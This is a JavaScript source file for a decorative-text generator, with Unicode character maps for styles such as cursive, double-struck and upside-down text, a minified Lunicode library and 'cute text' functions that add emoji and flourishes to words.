    const greekCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z"};
    const bentTextCharMap = {"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ"};
    const upperAnglesCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z"};
    const subscriptCharMap = {"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋","=":"₌","(":"₍",")":"₎"};
    const superscriptCharMap = {"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻","=":"⁼","(":"⁽",")":"⁾"};
    const squiggleCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ"};
    const doubleStruckCharMap = {"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ"};
    const medievalCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅"};
    const invertedSquaresCharMap = {q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"} 
    const cursiveCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩"};
    const oldEnglishCharMap = {"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ"};
    const wideTextCharMap = {"`" : "`","1" : "1","2" : "2","3" : "3","4" : "4","5" : "5","6" : "6","7" : "7","8" : "8","9" : "9","0" : "0","-" : "-","=" : "=","~" : "~","!" : "!","@" : "@","#" : "#","$" : "$","%" : "%","^" : "^","&" : "&","*" : "*","(" : "(",")" : ")","_" : "_","+" : "+","q" : "q","w" : "w","e" : "e","r" : "r","t" : "t","y" : "y","u" : "u","i" : "i","o" : "o","p" : "p","[" : "[","]" : "]","\\" : "\\","Q" : "Q","W" : "W","E" : "E","R" : "R","T" : "T","Y" : "Y","U" : "U","I" : "I","O" : "O","P" : "P","{" : "{","}" : "}","|" : "|","a" : "a","s" : "s","d" : "d","f" : "f","g" : "g","h" : "h","j" : "j","k" : "k","l" : "l",";" : ";","'" : "'","A" : "A","S" : "S","D" : "D","F" : "F","G" : "G","H" : "H","J" : "J","K" : "K","L" : "L",":" : ":","\"" : "\"","z" : "z","x" : "x","c" : "c","v" : "v","b" : "b","n" : "n","m" : "m","," : ",","." : ".","/" : "/","Z" : "Z","X" : "X","C" : "C","V" : "V","B" : "B","N" : "N","M" : "M","<" : "<",">" : ">","?" : "?"}


    
    function Lunicode(){this.tools={flip:{init:function(){for(i in this.map)this.map[this.map[i]]=i},encode:function(i){for(var r,t=[],o=0,h=i.length;h>o;o++)r=i.charAt(o),o>0&&("̤"==r||"̗"==r||"̖"==r||"̮"==r)?(r=this.map[i.charAt(o-1)+r],t.pop()):(r=this.map[r],"undefined"==typeof r&&(r=i.charAt(o))),t.push(r);return t.reverse().join("")},decode:function(i){for(var r,t=[],o=0,h=i.length;h>o;o++)r=i.charAt(o),o>0&&("̤"==r||"̗"==r||"̖"==r||"̮"==r)?(r=this.map[i.charAt(o-1)+r],t.pop()):(r=this.map[r],"undefined"==typeof r&&(r=i.charAt(o))),t.push(r);return t.reverse().join("")},map:{a:"ɐ",b:"q",c:"ɔ",d:"p",e:"ǝ",f:"ɟ",g:"ɓ",h:"ɥ",i:"ı",j:"ɾ",k:"ʞ",l:"l",m:"ɯ",n:"u",r:"ɹ",t:"ʇ",v:"ʌ",w:"ʍ",y:"ʎ",A:"∀",B:"ᙠ",C:"Ɔ",D:"ᗡ",E:"Ǝ",F:"Ⅎ",G:"⅁",J:"ſ",K:"⋊",L:"˥",M:"W",P:"Ԁ",Q:"Ό",R:"ᴚ",T:"⊥",U:"∩",V:"Λ",Y:"⅄",1:"⇂",2:"ᄅ",3:"Ɛ",4:"ㄣ",5:"ގ",6:"9",7:"ㄥ","&":"⅋",".":"˙",'"':"„",";":"؛","[":"]","(":")","{":"}","?":"¿","!":"¡","'":",","<":">","‾":"_","¯":"_","‿":"⁀","⁅":"⁆","∴":"∵","\r":"\n","ß":"ᙠ","̈":"̤","ä":"ɐ̤","ö":"o̤","ü":"n̤","Ä":"∀̤","Ö":"O̤","Ü":"∩̤","´":" ̗","é":"ǝ̗","á":"ɐ̗","ó":"o̗","ú":"n̗","É":"Ǝ̗","Á":"∀̗","Ó":"O̗","Ú":"∩̗","`":" ̖","è":"ǝ̖","à":"ɐ̖","ò":"o̖","ù":"n̖","È":"Ǝ̖","À":"∀̖","Ò":"O̖","Ù":"∩̖","^":" ̮","ê":"ǝ̮","â":"ɐ̮","ô":"o̮","û":"n̮","Ê":"Ǝ̮","Â":"∀̮","Ô":"O̮","Û":"∩̮"}},mirror:{init:function(){for(i in this.map)this.map[this.map[i]]=i},encode:function(i){for(var r,t=[],o=[],h=0,n=i.length;n>h;h++)r=i.charAt(h),h>0&&("̈"==r||"̀"==r||"́"==r||"̂"==r)?(r=this.map[i.charAt(h-1)+r],t.pop()):(r=this.map[r],"undefined"==typeof r&&(r=i.charAt(h))),"\n"==r?(o.push(t.reverse().join("")),t=[]):t.push(r);return o.push(t.reverse().join("")),o.join("\n")},decode:function(i){for(var r,t=[],o=[],h=0,n=i.length;n>h;h++)r=i.charAt(h),h>0&&("̈"==r||"̀"==r||"́"==r||"̂"==r)?(r=this.map[i.charAt(h-1)+r],t.pop()):(r=this.map[r],"undefined"==typeof r&&(r=i.charAt(h))),"\n"==r?(o.push(t.reverse().join("")),t=[]):t.push(r);return o.push(t.reverse().join("")),o.join("\n")},map:{a:"ɒ",b:"d",c:"ɔ",e:"ɘ",f:"Ꮈ",g:"ǫ",h:"ʜ",j:"ꞁ",k:"ʞ",l:"|",n:"ᴎ",p:"q",r:"ɿ",s:"ꙅ",t:"ƚ",y:"ʏ",z:"ƹ",B:"ᙠ",C:"Ɔ",D:"ᗡ",E:"Ǝ",F:"ꟻ",G:"Ꭾ",J:"Ⴑ",K:"⋊",L:"⅃",N:"Ͷ",P:"ꟼ",Q:"Ọ",R:"Я",S:"Ꙅ",Z:"Ƹ",1:"",2:"",3:"",4:"",5:"",6:"",7:"","&":"",";":"","[":"]","(":")","{":"}","?":"⸮","<":">","ä":"ɒ̈","ß":"ᙠ","´":"`","é":"ɘ̀","á":"ɒ̀","ó":"ò","ú":"ù","É":"Ǝ̀","Á":"À","Ó":"Ò","Ú":"Ù","`":"´","è":"ɘ́","à":"ɒ́","È":"Ǝ́","ê":"ɘ̂","â":"ɒ̂","Ê":"Ǝ̂","Ø":"ᴓ","ø":"ᴓ"}},creepify:{init:function(){for(var i=768;789>=i;i++)this.diacriticsTop.push(String.fromCharCode(i));for(var i=790;819>=i;i++)794!=i&&795!=i&&this.diacriticsBottom.push(String.fromCharCode(i));this.diacriticsTop.push(String.fromCharCode(794)),this.diacriticsTop.push(String.fromCharCode(795));for(var i=820;824>=i;i++)this.diacriticsMiddle.push(String.fromCharCode(i));for(var i=825;828>=i;i++)this.diacriticsBottom.push(String.fromCharCode(i));for(var i=829;836>=i;i++)this.diacriticsTop.push(String.fromCharCode(i));this.diacriticsTop.push(String.fromCharCode(836)),this.diacriticsBottom.push(String.fromCharCode(837)),this.diacriticsTop.push(String.fromCharCode(838)),this.diacriticsBottom.push(String.fromCharCode(839)),this.diacriticsBottom.push(String.fromCharCode(840)),this.diacriticsBottom.push(String.fromCharCode(841)),this.diacriticsTop.push(String.fromCharCode(842)),this.diacriticsTop.push(String.fromCharCode(843)),this.diacriticsTop.push(String.fromCharCode(844)),this.diacriticsBottom.push(String.fromCharCode(845)),this.diacriticsBottom.push(String.fromCharCode(846)),this.diacriticsTop.push(String.fromCharCode(848)),this.diacriticsTop.push(String.fromCharCode(849)),this.diacriticsTop.push(String.fromCharCode(850)),this.diacriticsBottom.push(String.fromCharCode(851)),this.diacriticsBottom.push(String.fromCharCode(852)),this.diacriticsBottom.push(String.fromCharCode(853)),this.diacriticsBottom.push(String.fromCharCode(854)),this.diacriticsTop.push(String.fromCharCode(855)),this.diacriticsTop.push(String.fromCharCode(856)),this.diacriticsBottom.push(String.fromCharCode(857)),this.diacriticsBottom.push(String.fromCharCode(858)),this.diacriticsTop.push(String.fromCharCode(859)),this.diacriticsBottom.push(String.fromCharCode(860)),this.diacriticsTop.push(String.fromCharCode(861)),this.diacriticsTop.push(String.fromCharCode(861)),this.diacriticsBottom.push(String.fromCharCode(863)),this.diacriticsTop.push(String.fromCharCode(864)),this.diacriticsTop.push(String.fromCharCode(865))},encode:function(r){var t,o="";for(i in r){if(t=r[i],this.options.middle&&(t+=this.diacriticsMiddle[Math.floor(Math.random()*this.diacriticsMiddle.length)]),this.options.top)for(var h=this.diacriticsTop.length-1,n=0,a=this.options.maxHeight-Math.random()*(this.options.randomization/100*this.options.maxHeight);a>n;n++)t+=this.diacriticsTop[Math.floor(Math.random()*h)];if(this.options.bottom)for(var s=this.diacriticsBottom.length-1,n=0,a=this.options.maxHeight-Math.random()*(this.options.randomization/100*this.options.maxHeight);a>n;n++)t+=this.diacriticsBottom[Math.floor(Math.random()*s)];o+=t}return o},decode:function(r){var t,o="";for(i in r)t=r[i].charCodeAt(0),(768>t||t>865)&&(o+=r[i]);return o},diacriticsTop:[],diacriticsMiddle:[],diacriticsBottom:[],options:{top:!0,middle:!0,bottom:!0,maxHeight:15,randomization:100}},bubbles:{init:function(){for(var i=49;57>=i;i++)this.map[String.fromCharCode(i)]=String.fromCharCode(i+9263);this.map[0]="⓪";for(var i=65;90>=i;i++)this.map[String.fromCharCode(i)]=String.fromCharCode(i+9333);for(var i=97;122>=i;i++)this.map[String.fromCharCode(i)]=String.fromCharCode(i+9327);for(i in this.map)this.mapInverse[this.map[i]]=i},encode:function(r){var t,o="",h=!0;for(i in r)t=this.map[r[i]],"undefined"==typeof t&&(r[i].charCodeAt(0)>=33?(t=r[i]+String.fromCharCode(8413),h||(t=String.fromCharCode(8239)+String.fromCharCode(160)+String.fromCharCode(160)+String.fromCharCode(8239)+t)):t=r[i]),o+=t,h="\n"==t;return o},decode:function(r){var t,o="",h="";for(i in r)t=this.mapInverse[r[i]],o+="undefined"==typeof t?r[i]:t;for(i in o)t=o[i].charCodeAt(0),160!=t&&8239!=t&&8413!=t&&(h+=o[i]);return h},map:{},mapInverse:{}},squares:{init:function(){},encode:function(r){var t,o="",h=!0;for(i in r)r[i].charCodeAt(0)>=33?(t=r[i]+String.fromCharCode(8414),h||(t=String.fromCharCode(8239)+String.fromCharCode(160)+String.fromCharCode(160)+String.fromCharCode(8239)+t)):t=r[i],o+=t,h="\n"==t;return o},decode:function(r){var t,o="";for(i in r)t=r[i].charCodeAt(0),160!=t&&8239!=t&&8414!=t&&(o+=r[i]);return o}},roundsquares:{init:function(){},encode:function(r){var t,o="",h=!0;for(i in r)r[i].charCodeAt(0)>=33?(t=r[i]+String.fromCharCode(8419),h||(t=String.fromCharCode(160)+String.fromCharCode(160)+String.fromCharCode(160)+t)):t=r[i],o+=t,h="\n"==t;return o},decode:function(r){var t,o="";for(i in r)t=r[i].charCodeAt(0),160!=t&&8239!=t&&8419!=t&&(o+=r[i]);return o}},bent:{init:function(){for(i in this.map)this.map[this.map[i]]=i},encode:function(i){for(var r,t="",o=0,h=i.length;h>o;o++)r=this.map[i.charAt(o)],"undefined"==typeof r&&(r=i.charAt(o)),t+=r;return t},decode:function(i){for(var r,t="",o=0,h=i.length;h>o;o++)r=this.map[i.charAt(o)],"undefined"==typeof r&&(r=i.charAt(o)),t+=r;return t},map:{a:"ą",b:"ҍ",c:"ç",d:"ժ",e:"ҽ",f:"ƒ",g:"ց",h:"հ",i:"ì",j:"ʝ",k:"ҟ",l:"Ӏ",m:"ʍ",n:"ղ",o:"օ",p:"ք",q:"զ",r:"ɾ",s:"ʂ",t:"է",u:"մ",v:"ѵ",w:"ա",x:"×",y:"վ",z:"Հ",A:"Ⱥ",B:"β",C:"↻",D:"Ꭰ",E:"Ɛ",F:"Ƒ",G:"Ɠ",H:"Ƕ",I:"į",J:"ل",K:"Ҡ",L:"Ꝉ",M:"Ɱ",N:"ហ",O:"ට",P:"φ",Q:"Ҩ",R:"འ",S:"Ϛ",T:"Ͳ",U:"Ա",V:"Ỽ",W:"చ",X:"ჯ",Y:"Ӌ",Z:"ɀ",0:"⊘",1:"������",2:"ϩ",3:"Ӡ",4:"५",5:"Ƽ",6:"Ϭ",7:"7",8:"������",9:"९","&":"⅋","(":"{",")":"}","{":"(","}":")","ä":"ą̈","ö":"օ̈","ü":"մ̈","Ä":"Ⱥ̈","Ö":"ට̈","Ü":"Ա̈","é":"ҽ́","á":"ą́","ó":"օ́","ú":"մ́","É":"Ɛ́","Á":"Ⱥ́","Ó":"ට́","Ú":"Ա́","è":"ҽ̀","à":"ą̀","ò":"օ̀","ù":"մ̀","È":"Ɛ̀","À":"Ⱥ̀","Ò":"ට̀","Ù":"Ա̀","ê":"ҽ̂","â":"ą̂","ô":"օ̂","û":"մ̂","Ê":"Ɛ̂","Â":"Ⱥ̂","Ô":"ට̂","Û":"Ա̂"}},tiny:{init:function(){for(i in this.map)this.map[this.map[i]]=i},encode:function(i){var r,t="";i=i.toUpperCase();for(var o=0,h=i.length;h>o;o++)r=this.map[i.charAt(o)],"undefined"==typeof r&&(r=i.charAt(o)),t+=r;return t},decode:function(i){for(var r,t="",o=0,h=i.length;h>o;o++)r=this.map[i.charAt(o)],"undefined"==typeof r&&(r=i.charAt(o)),t+=r;return t},map:{A:"ᴀ",B:"ʙ",C:"ᴄ",D:"ᴅ",E:"ᴇ",F:"ꜰ",G:"ɢ",H:"ʜ",I:"ɪ",J:"ᴊ",K:"ᴋ",L:"ʟ",M:"ᴍ",N:"ɴ",O:"ᴏ",P:"ᴘ",Q:"Q",R:"ʀ",S:"ꜱ",T:"ᴛ",U:"ᴜ",V:"ᴠ",W:"ᴡ",X:"x",Y:"ʏ",Z:"ᴢ"}}};for(i in this.tools)this.tools[i].init();this.getHTML=function(i){for(var r,t="",o=!0,h=0,n=0,a=0,s=i.length;s>a;a++)r=i.charCodeAt(a),10==r||13==r?(t+="<br>\n",o=!0):32==r?o?(t+=" ",o=!1):(t+=" ",o=!0):(r>=55296&&56319>=r?(h=r,n=0):h>0?(r>=56320&&57343>=r&&(n=1024*(h-55296)+(r-56320)+65536),h=0):n=r,0!=n&&(t+="&#x"+n.toString(16)+";",o=!0));return t}}




    
    // CUTE TEXT:
    function cuteText(text) {
      if(text.trim() === "") return "";
      qi = -1;
      var bounds = boundingString(Math.floor(Math.random()*2)+1);
      return bounds + "  🎀  " + text.split(/([!?.]+)/gi).map(cuteSentence).join("") + "  🎀  " + esrever.reverse(bounds);
    }
    function cuteSentence(sentence) {
      return sentence.split(/([\s,]+)/gi).map(cuteWord).join("");
    }
    function cuteWord(word) {
      //remember to handle exclamations, empty strings, commas etc. etc.!!
      if(word === "" || /[[!?.\s,]+]/gi.test(word)) return word;
      //TODO: random turn o's into flowers, turn quotes into unicode and ! and ?
      word = roundReplace(word);
      word = punctReplace(word);
      word = emojiReplace(word);
      return scriptify(word);
    }
    var qi = -1;
    var qa = ["❝","❞"];
    function quotes() {
      qi++;
      if(qi === 2) qi = 0;
      return qa[qi];
    }
    function punctReplace(word) {
      return word.split("")
        .map(function(a) {
          if(a === "!") return randomElement(["❣","❢"]);
          else if(a === "?") return randomElement(["¿","?"]);
          else if(a === "\"") return quotes();
          else return a;
        }).join("");
    }
    function emojiReplace(word) {
      return word
      .replace(":)", randomElement(emoji[":)"]))
      .replace("(:", randomElement(emoji[":)"]))
      .replace("^^", randomElement(emoji["^^"]))
      .replace(":P", randomElement(emoji[":p"]))
      .replace(":p", randomElement(emoji[":p"]))
      .replace(":D", randomElement(emoji[":D"]))
      .replace("<3", randomElement(emoji["<3"]))
      .replace("(y)", randomElement(emoji["(y)"]))
      .replace("(Y)", randomElement(emoji["(y)"]));
    }
    function roundReplace(text) {
      return text.split("").map(function(a) { if(a.toLowerCase() === "o" || a === "0") { return randomElement(round); } else { return a; } }).join("");
    }
    var emoji = {
      ":)" : ["٩(˘◡˘)۶","(•◡•)","(ɔ◔‿◔)ɔ","❀◕‿◕❀","(。◕‿◕。)","●‿●","◕‿◕","😍","ツ","(✿ヘᴥヘ)","🌘‿🌘","(づ。◕‿‿◕。)づ","(/◔◡◔)/","s(^‿^)-b","(人◕‿◕)","(✿╹◡╹)","◔◡◔"],
      "^^" : ["(^▽^)","(✿^▽^)","ᵔ⌣ᵔ","ᵔᴥᵔ","(≧◡≦)","^ㅅ^","^ㅂ^","(⌒‿⌒)","◠◡◠","⁀‿⁀",""],
      ":p" : [":Þ",""],
      ":D" : ["(ノ◕ヮ◕)ノ*:・゚✧","(✿◕ᗜ◕)━♫.*・。゚","ᕕ(ᐛ)ᕗ"],
      "<3" : ["♡","❤","♥","❥","💘","💙","💗","💖","💕","💓","💞","💝","💟"],
      "(y)" : ["👍","👌"],
    };
    var round = ["❁","🌺","❀","💮","🏵","🌸","☯","😍","♡","🍩","🍬","💙","🌞","💍","🍪","❤","💗","🍑","💞"];
    var food = ["🍬","🍭","🍒","🍎","🍉","🍇","🍓","🍌","🍑","🍰","🎂","🍩","🍪","🍧","🍦","🍫","🍡"];
    var flowers = ["✿","⚘","❦","❧","✾","❁","❀","💐","🌸","💮","🏵","🌹","🌺","🌻","🌷","☘","🌱","🌲","🌳","🌴","🌿","🍂"];
    var twinkles = ["⚛","🌌","🌠","*",":","。","・゚","✧","✮","★","✩","⋆",".","°","`","✴","。","✴","⋆","✳","✶","✷","❈"];
    var animals = ["🐯","🐎","🐖","🐷","🐏","🐑","🐐","🐫","🐘","🐭","🐁","🐀","🐹","🐰","🐇","🐿","🐻","🐨","🐼","🐾","🐔","🐓","🐣","🐤","🐥","🐦","🐧","🕊","🐸","🐢","🐳","🐋","🐬","🐟","🐠","🐡","🐙","🐚","🐌","🐞"];
    var plants = ["✿","⚘","❦","❧","✾","❁","❀","💐","🌸","💮","🏵","🌹","🌺","🌻","🌷","☘","🌱","🌲","🌳","🌴","🌿","🍂"];
    var misc = ["🌌","🌠","🎉","🎊","🎈","💌","🎎","🎁","🎀","🕯","🔮","🛀","🎖","🏆","🏅","👑","💍","👶","👼","👸","👯","👒","👻"];
    var music = ["♫","♬","♪","♩","°","。","✧","🎻","🎺","🎸","🎷","📯"];
    var flourish = ["•?((¯°·._.• ","ıllıllı ","¸,ø¤º°`°º¤ø,¸¸,ø¤º° ","°°°·.°·..·°¯°·._.· ","•´¯`•. ","׺°”˜`”°º× ","•]••´º´•» ","]|I{•------» ","§.•´¨'°÷•..× ","•°¯`•• ","(¯`·.¸¸.·´¯`·.¸¸.-> ","*´¯`*.¸¸.*´¯`* ","(¯`·.¸¸.-> °º ","°·.¸.·°¯°·.¸.·°¯°·.¸.-> ","•._.••´¯``•.¸¸.•` ","¸„.-•~¹°”ˆ˜¨ ","(¯´•._.• ","••¤(`×","•´¯`•» ","`•.,¸¸,.•´¯ ","¸,ø¤º°`°º¤ø,¸ ",".o0×X×0o. ",",-*'^'~*-.,_,.-*~ ","`•.¸¸.•´´¯`••._.• ","—(••÷","¤¸¸.•´¯`•¸¸.•..>> ","••.•´¯`•.•• ",".•°¤*(¯`★´¯)*¤° ","๑۞๑,¸¸,ø¤º°`°๑۩ ","-漫~*'¨¯¨'*·舞~ ","★·.·´¯`·.·★ ","▁ ▂ ▄ ▅ ▆ ▇ █ ","▀▄▀▄▀▄ ","▌│█║▌║▌║ "];
    function boundingString(n) {
      return randomElement([foodString,twinkleString,animalString,flourishString])(n);
    }
    function foodString(n) {
      return new Array(n+1).join('0').split('').map(function(a){ return randomElement(food); }).join(' ⋆ ');
    }
    function twinkleString(n) {
      return new Array(n+1).join('0').split('').map(function(){ return randomElement(twinkles); }).join("");
    }
    function animalString(n) {
      return new Array(n+1).join('0').split('').map(function(a){ return randomElement(animals); }).join(' ⋆ ');
    }
    function flourishString(n) {
      return randomElement(flourish);
    }
    function scriptify(text) {
      var map = {"0":"𝟢","1":"𝟣","2":"𝟤","3":"𝟥","4":"𝟦","5":"𝟧","6":"𝟨","7":"𝟩","8":"𝟪","9":"𝟫","a":"𝒶","b":"𝒷","c":"𝒸","d":"𝒹","e":"𝑒","f":"𝒻","g":"𝑔","h":"𝒽","i":"𝒾","j":"𝒿","k":"𝓀","l":"𝓁","m":"𝓂","n":"𝓃","o":"𝑜","p":"𝓅","q":"𝓆","r":"𝓇","s":"𝓈","t":"𝓉","u":"𝓊","v":"𝓋","w":"𝓌","x":"𝓍","y":"𝓎","z":"𝓏","A":"𝒜","B":"𝐵","C":"𝒞","D":"𝒟","E":"𝐸","F":"𝐹","G":"𝒢","H":"𝐻","I":"𝐼","J":"𝒥","K":"𝒦","L":"𝐿","M":"𝑀","N":"𝒩","O":"𝒪","P":"𝒫","Q":"𝒬","R":"𝑅","S":"𝒮","T":"𝒯","U":"𝒰","V":"𝒱","W":"𝒲","X":"𝒳","Y":"𝒴","Z":"𝒵"};
      var charArray = text.split("");
      for(var i = 0; i < charArray.length; i++) {
        if( map[charArray[i].toLowerCase()] ) {
          charArray[i] = map[charArray[i]];
        }
      }
      text = charArray.join("");
      return text;
    }
    function shuffleArray(array) {
      var currentIndex = array.length, temporaryValue, randomIndex;
      // While there remain elements to shuffle...
      while (0 !== currentIndex) {
        // Pick a remaining element...
        randomIndex = Math.floor(Math.random() * currentIndex);
        currentIndex -= 1;
        // And swap it with the current element.
        temporaryValue = array[currentIndex];
        array[currentIndex] = array[randomIndex];
        array[randomIndex] = temporaryValue;
      }
      return array;
    }
